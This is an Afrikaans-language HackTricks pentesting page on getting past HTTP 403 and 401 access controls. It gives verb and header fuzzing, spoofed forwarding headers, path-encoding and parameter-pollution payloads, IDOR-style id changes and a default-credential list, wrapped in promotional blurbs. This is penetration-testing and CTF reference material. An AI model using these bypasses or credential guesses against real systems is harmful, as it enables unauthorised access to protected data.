hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9 KiB
Raw Blame History

403 & 401 Oorsprong

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat gaan van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop en pret te hê.

{% embed url="https://pentest-tools.com/" %}

HTTP Werkwoorde/Metodes Fuzzing

Probeer om verskillende werkwoorde te gebruik om die lêer te benader: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Kyk na die responskoppe, dalk kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n 200 respons op HEAD met Content-Length: 55 beteken dat die HEAD-werkwoord die inligting kan benader. Maar jy moet steeds 'n manier vind om daardie inligting uit te voer.
  • Die gebruik van 'n HTTP-kop soos X-HTTP-Method-Override: PUT kan die gebruikte werkwoord oorskryf.
  • Gebruik die TRACE werkwoord en as jy baie gelukkig is, kan jy dalk ook die koppe sien wat deur tussenliggende proksi's bygevoeg is wat nuttig kan wees.

HTTP Koppe Fuzzing

  • Verander die Host-kop na 'n arbitrêre waarde (wat hier gewerk het)

  • Probeer om ander Gebruikeragents te gebruik om die hulpbron te benader.

  • Fuzz HTTP Koppe: Probeer om HTTP Proksi Koppe, HTTP-outentifikasie Basies en NTLM-bruteforse (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die gereedskap fuzzhttpbypass geskep.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

As die pad beskerm is, kan jy probeer om die padbeskerming te omseil deur hierdie ander koppe te gebruik:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • As die bladsy agter 'n proksi is, is dit miskien die proksi wat jou verhoed om die privaat inligting te benader. Probeer om HTTP-versoeksmokkelary te misbruik of hop-by-hop koppe.
  • Fuzz spesiale HTTP-koppe op soek na 'n ander respons.
  • Fuzz spesiale HTTP-koppe terwyl jy HTTP Metodes fuzz.
  • Verwyder die Host-kop en miskien sal jy die beskerming kan omseil.

Pad Fuzzing

As /pad geblokkeer is:

  • Probeer om /%2e/path _(as die toegang deur 'n proksi geblokkeer word, kan dit die beskerming omseil). Probeer ook_** /%252e**/path (dubbele URL-kodering)
  • Probeer Unicode-omseiling: /%ef%bc%8fpath (Die URL-gekodeerde karakters is soos "/") sodat wanneer dit teruggekodeer word, sal dit //path wees en miskien het jy reeds die /pad naamkontrole omseil
  • Ander padomseilings:
  • site.com/secret > HTTP 403 Verbode
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • Gebruik al hierdie lys in die volgende situasies:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Ander API-omseilings:
  • /v3/users_data/1234 --> 403 Verbode
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Ongeoutoriseer
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Ongeoutoriseer
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameterbesoedeling)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameterbesoedeling)

Parameter Manipulation

  • Verander param-waarde: Van id=123 --> id=124
  • Voeg addisionele parameters by die URL: ?id=124 —-> id=124&isAdmin=true
  • Verwyder die parameters
  • Herorden parameters
  • Gebruik spesiale karakters.
  • Voer grenstoetsing in die parameters uit - voorsien waardes soos -234 of 0 of 99999999 (net 'n paar voorbeeldwaardes).

Protokolweergawe

Indien HTTP/1.1 gebruik word, probeer om 1.0 te gebruik of selfs toets of dit 2.0 ondersteun.

Ander Oorspronge

  • Kry die IP of CNAME van die domein en probeer om direk daarmee kontak te maak.
  • Probeer om die bediener te stresstoets deur algemene GET-versoeke te stuur (Dit het vir hierdie persoon met Facebook gewerk).
  • Verander die protokol: van http na https, of van https na http
  • Gaan na https://archive.org/web/ en kyk of daardie lêer in die verlede wêreldwyd toeganklik was.

Brute Force

  • Raai die wagwoord: Toets die volgende algemene geloofsbriewe. Weet jy iets van die slagoffer? Of die CTF-uitdaging se naam?
  • Brute force: Probeer basiese, digest en NTLM-outentifikasie.

{% code title="Gewone geloofsbriewe" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Outomatiese Gereedskap

Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: